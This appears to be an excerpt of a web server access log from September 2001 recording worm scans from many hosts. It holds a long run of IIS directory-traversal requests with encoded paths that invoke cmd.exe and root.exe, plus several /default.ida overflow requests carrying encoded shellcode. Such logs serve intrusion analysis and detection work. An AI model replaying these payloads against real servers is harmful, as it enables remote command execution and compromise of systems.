  7496. 20010919 01:03:38: ns.kcci.or.kr [210.124.8.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7497. 20010919 01:03:42: ns.kcci.or.kr [210.124.8.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7498. 20010919 01:03:53: ns.kcci.or.kr [210.124.8.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7499. 20010919 01:04:00: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7500. 20010919 01:04:01: ns.kcci.or.kr [210.124.8.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7501. 20010919 01:04:02: ns.kcci.or.kr [210.124.8.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7502. 20010919 01:04:48: ns.kcci.or.kr [210.124.8.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7503. 20010919 01:04:52: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7504. 20010919 01:04:53: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7505. 20010919 01:05:03: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7506. 20010919 01:05:07: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7507. 20010919 01:05:08: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7508. 20010919 01:05:08: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7509. 20010919 01:05:10: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7510. 20010919 01:05:10: ns.kcci.or.kr [210.124.8.13] ""
  7511. 20010919 01:05:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7512. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7513. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7514. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7515. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7516. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7517. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7518. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7519. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7520. 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7521. 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7522. 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7523. 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7524. 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7525. 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7526. 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7527. 20010919 01:08:12: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7528. 20010919 01:10:46: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7529. 20010919 01:10:54: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7530. 20010919 01:17:31: miami2.weitnaueramerica.com [12.8.6.178] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7531. 20010919 01:17:32: miami2.weitnaueramerica.com [12.8.6.178] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7532. 20010919 01:17:36: miami2.weitnaueramerica.com [12.8.6.178] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7533. 20010919 01:17:37: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7534. 20010919 01:17:37: miami2.weitnaueramerica.com [12.8.6.178] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7535. 20010919 01:17:38: miami2.weitnaueramerica.com [12.8.6.178] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7536. 20010919 01:17:38: miami2.weitnaueramerica.com [12.8.6.178] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7537. 20010919 01:17:39: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7538. 20010919 01:17:40: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7539. 20010919 01:17:40: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7540. 20010919 01:17:41: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7541. 20010919 01:17:41: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7542. 20010919 01:17:42: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7543. 20010919 01:17:43: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7544. 20010919 01:17:46: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7545. 20010919 01:17:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7546. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7547. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7548. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7549. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7550. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7551. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7552. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7553. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7554. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7555. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7556. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7557. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7558. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7559. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7560. 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7561. 20010919 01:23:37:  [128.121.246.52] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7562. 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7563. 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7564. 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7565. 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7566. 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7567. 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7568. 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7569. 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7570. 20010919 01:27:14:  [128.121.246.52] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7571. 20010919 01:27:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7572. 20010919 01:27:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7573. 20010919 01:27:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7574. 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7575. 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7576. 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7577. 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7578. 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7579. 20010919 01:27:33:  [128.121.246.52] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7580. 20010919 01:27:51:  [128.121.246.52] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7581. 20010919 01:28:10:  [128.121.246.52] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7582. 20010919 01:28:29:  [128.121.246.52] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7583. 20010919 01:28:47:  [128.121.246.52] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7584. 20010919 01:29:06:  [128.121.246.52] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7585. 20010919 01:29:25:  [128.121.246.52] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7586. 20010919 01:29:44:  [128.121.246.52] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7587. 20010919 01:30:02:  [128.121.246.52] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7588. 20010919 01:30:21:  [128.121.246.52] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7589. 20010919 01:30:40:  [128.121.246.52] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7590. 20010919 01:30:59:  [128.121.246.52] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7591. 20010919 01:31:17:  [128.121.246.52] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7592. 20010919 01:31:36: server.ratingspcr.com [216.244.172.115] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7593. 20010919 01:31:37:  [128.121.246.52] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7594. 20010919 01:31:55: server.ratingspcr.com [216.244.172.115] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7595. 20010919 01:31:55: server.ratingspcr.com [216.244.172.115] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7596. 20010919 01:31:56: server.ratingspcr.com [216.244.172.115] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7597. 20010919 01:31:56: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7598. 20010919 01:31:57: server.ratingspcr.com [216.244.172.115] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7599. 20010919 01:31:58: server.ratingspcr.com [216.244.172.115] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7600. 20010919 01:31:59: server.ratingspcr.com [216.244.172.115] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7601. 20010919 01:32:00: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7602. 20010919 01:32:01: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7603. 20010919 01:32:01: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7604. 20010919 01:32:02: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7605. 20010919 01:32:03: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7606. 20010919 01:32:04: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7607. 20010919 01:32:06: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7608. 20010919 01:32:07: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7609. 20010919 01:32:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7610. 20010919 01:36:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7611. 20010919 01:38:08: adsl-132-231.wanadoo.be [213.177.132.231] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7612. 20010919 01:39:58:  [210.177.152.162] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7613. 20010919 01:40:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7614. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7615. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7616. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7617. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7618. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7619. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7620. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7621. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7622. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7623. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7624. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7625. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7626. 20010919 01:40:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7627. 20010919 01:40:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7628. 20010919 01:40:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7629. 20010919 01:40:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7630. 20010919 01:48:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7631. 20010919 01:48:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7632. 20010919 01:48:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7633. 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7634. 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7635. 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7636. 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7637. 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7638. 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7639. 20010919 01:48:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7640. 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7641. 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7642. 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7643. 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7644. 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7645. 20010919 01:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7646. 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7647. 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7648. 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7649. 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7650. 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7651. 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7652. 20010919 01:50:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7653. 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7654. 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7655. 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7656. 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7657. 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7658. 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7659. 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7660. 20010919 01:50:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7661. 20010919 01:50:04:  [61.75.4.252] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7662. 20010919 01:52:06:  [61.75.4.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7663. 20010919 01:52:25:  [61.75.4.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
